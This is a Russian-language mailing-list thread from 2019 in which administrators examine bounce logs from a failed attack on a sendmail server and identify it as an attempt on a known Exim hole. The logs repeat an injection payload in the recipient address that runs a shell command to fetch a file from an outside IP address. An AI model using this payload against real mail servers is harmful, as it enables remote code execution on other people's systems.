to root+${run}

Eugene Grosbein написал(а) к All в Jun 19 06:19:48 по местному времени:

Привет!

sm-mta[2659]: x5PFwKYR002658: SYSERR(root): Too many hops 32 (25 max):
from <root@wgg.com> via minecraft.good-gaming.com, to
<root+${run{\\x2Fbin\\x2Fsh\\t-c\\t\\x22wget\\x2065.181.120.163\\x2fstfinracu\\x22}}@myhost.net>

Кто-нибудь в курсе, что за MTA имеет подобные дыры?

Eugene
--
Рейтинг, рейтинг - юбер аллес! (суровая правда телеискусства)
--- slrn/1.0.3 (FreeBSD)

Eugene Grosbein написал(а) к Eugene Grosbein в Jun 19 06:28:35 по местному времени:

26 июня 2019, среда, в 06:19 NOVT, Eugene Grosbein написал(а):

EG> sm-mta[2659]: x5PFwKYR002658: SYSERR(root): Too many hops 32 (25 max):
EG> from <root@wgg.com> via minecraft.good-gaming.com, to
EG> <root+${run{\\x2Fbin\\x2Fsh\\t-c\\t\\x22wget\\x2065.181.120.163\\x2fstfinracu\\x22}}@myhost.net>
EG> Кто-нибудь в курсе, что за MTA имеет подобные дыры?

Да, и если кому-то вдруг интересно, отчего too many hops,
то это из-за фейковых заголовков Received, которые зачем-то
были подделаны в оригинальном письме в количестве 31 штуки:

From: Mail Delivery Subsystem <MAILER-DAEMON@myhost.net>
Message-Id: <201906251558.x5PFwLYS002659@myhost.net>
To: postmaster@myhost.net
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="x5PFwLYS002659.1561478301/myhost.net"
Subject: Postmaster notify: see transcript for details
Auto-Submitted: auto-generated (postmaster-notification)

This is a MIME-encapsulated message

--x5PFwLYS002659.1561478301/myhost.net

The original message was received at Tue, 25 Jun 2019 15:58:21 GMT
from localhost
with id x5PFwLYR002659

----- The following addresses had permanent fatal errors -----
<root@wgg.com>
(reason: 550-5.1.1 The email account that you tried to reach does not exist. Please try)

----- Transcript of session follows -----
... while talking to aspmx.l.google.com.:
>>> DATA
<<< 550-5.1.1 The email account that you tried to reach does not exist. Please try
<<< 550-5.1.1 double-checking the recipient's email address for typos or
<<< 550-5.1.1 unnecessary spaces. Learn more at
[skip]

--x5PFwLYS002659.1561478301/myhost.net
Content-Type: message/delivery-status

Reporting-MTA: dns; myhost.net
Received-From-MTA: DNS; minecraft.good-gaming.com
Arrival-Date: Tue, 25 Jun 2019 15:58:21 GMT

Final-Recipient: RFC822; root@wgg.com
Action: failed
Status: 5.1.1
Remote-MTA: DNS; aspmx.l.google.com
Diagnostic-Code: SMTP; 550-5.1.1 The email account that you tried to reach does not exist. Please try
Last-Attempt-Date: Tue, 25 Jun 2019 15:58:21 GMT

--x5PFwLYS002659.1561478301/myhost.net
Content-Type: message/rfc822

Return-Path: <MAILER-DAEMON>
Received: from localhost (localhost)
by myhost.net (8.15.2/8.15.2) id x5PFwLYR002659;
Tue, 25 Jun 2019 15:58:21 GMT
(envelope-from MAILER-DAEMON)
Date: Tue, 25 Jun 2019 15:58:21 GMT
From: Mail Delivery Subsystem <MAILER-DAEMON>
Message-Id: <201906251558.x5PFwLYR002659@myhost.net>
To: <root@wgg.com>
MIME-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
boundary="x5PFwLYR002659.1561478301/myhost.net"
Subject: Returned mail: see transcript for details
Auto-Submitted: auto-generated (failure)

This is a MIME-encapsulated message

--x5PFwLYR002659.1561478301/myhost.net

The original message was received at Tue, 25 Jun 2019 15:58:20 GMT
from minecraft.good-gaming.com [34.228.4.69]

----- The following addresses had permanent fatal errors -----
eugen@grosbein.net
(reason: 554 5.4.6 Too many hops)
(expanded from: eugen)

----- Transcript of session follows -----
554 5.4.6 Too many hops 32 (25 max): from <root@wgg.com> via minecraft.good-gaming.com, to <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2065.181.120.163\x2fstfinracu\x22}}@myhost.net>

--x5PFwLYR002659.1561478301/myhost.net
Content-Type: message/delivery-status

Reporting-MTA: dns; myhost.net
Received-From-MTA: DNS; minecraft.good-gaming.com
Arrival-Date: Tue, 25 Jun 2019 15:58:20 GMT

Final-Recipient: RFC822; root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2065.181.120.163\x2fstfinracu\x22}}@myhost.net
X-Actual-Recipient: RFC822; eugen@grosbein.net
Action: failed
Status: 5.4.6
Diagnostic-Code: SMTP; 554 5.4.6 Too many hops
Last-Attempt-Date: Tue, 25 Jun 2019 15:58:21 GMT

--x5PFwLYR002659.1561478301/myhost.net
Content-Type: message/rfc822

Return-Path: <root@wgg.com>
Received: from wgg.com (minecraft.good-gaming.com [34.228.4.69])
by myhost.net (8.15.2/8.15.2) with SMTP id x5PFwKYR002658
for <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2065.181.120.163\x2fstfinracu\x22}}@myhost.net>; Tue, 25 Jun 2019 15:58:20 GMT
(envelope-from root@wgg.com)
Date: Tue, 25 Jun 2019 15:58:20 GMT
From: root@wgg.com
Message-Id: <201906251558.x5PFwKYR002658@myhost.net>
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31
To: undisclosed-recipients:;


--x5PFwLYR002659.1561478301/myhost.net--


--x5PFwLYS002659.1561478301/myhost.net--

Eugene
--
Тестоголовые кислое свое брожение приняли за душу, распарывание чрев
своих - за историю, средства, оттягивающие разложение - за цивилизацию...
--- slrn/1.0.3 (FreeBSD)

Alex Korchmar написал(а) к Eugene Grosbein в Jun 19 15:45:47 по местному времени:

From: Alex Korchmar <noreply@linux.e-moe.ru>

Eugene Grosbein <Eugene.Grosbein@f1.n5006.z2.fidonet.org> wrote:

EG> Кто-нибудь в курсе, что за MTA имеет подобные дыры?
exim же ж!

А чо это оно у тебя не доставляется?

> Alex

--- ifmail v.2.15dev5.4

Eugene Grosbein написал(а) к Alex Korchmar в Jun 19 10:09:45 по местному времени:

26 июня 2019, среда, в 15:45 NOVT, Alex Korchmar написал(а):

EG>> Кто-нибудь в курсе, что за MTA имеет подобные дыры?
AK> exim же ж!
AK> А чо это оно у тебя не доставляется?

sm-mta в логах намекает на sendmail

Eugene
--
Научить не кланяться авторитетам, а исследовать их и сравнивать их поучения
с жизнью. Научить настороженно относиться к опыту бывалых людей, потому что
жизнь меняется необычайно быстро.
--- slrn/1.0.3 (FreeBSD)

Alex Korchmar написал(а) к Eugene Grosbein в Jun 19 14:42:56 по местному времени:

From: Alex Korchmar <noreply@linux.e-moe.ru>

Eugene Grosbein <Eugene.Grosbein@f1.n5006.z2.fidonet.org> wrote:

AK>> exim же ж!
AK>> А чо это оно у тебя не доставляется?
EG> sm-mta в логах намекает на sendmail
зря намекает - это exim'овый overenginering постарался. Кстати, говорят таких
васян-сайтов - великие тыщи, хотя дыра и исправлена еще в апреле.

(там надо довольно неожиданную херню сделать в конфиге, чтобы такие
письма обрабатывались не только от локальных пользователей - но,
видимо, некоторые васяны преуспели.)


> Alex

--- ifmail v.2.15dev5.4

Eugene Grosbein написал(а) к Alex Korchmar в Jun 19 10:55:32 по местному времени:

27 июня 2019, четверг, в 14:42 NOVT, Alex Korchmar написал(а):

AK>>> exim же ж!
AK>>> А чо это оно у тебя не доставляется?
EG>> sm-mta в логах намекает на sendmail
AK> зря намекает - это exim'овый overenginering постарался.

Намекает на sendmail у меня - оттого и не доставляется.

Eugene
--
Как жаль, что не роняли вам на череп утюгов.
Скорблю о вас - как мало вы успели.
--- slrn/1.0.3 (FreeBSD)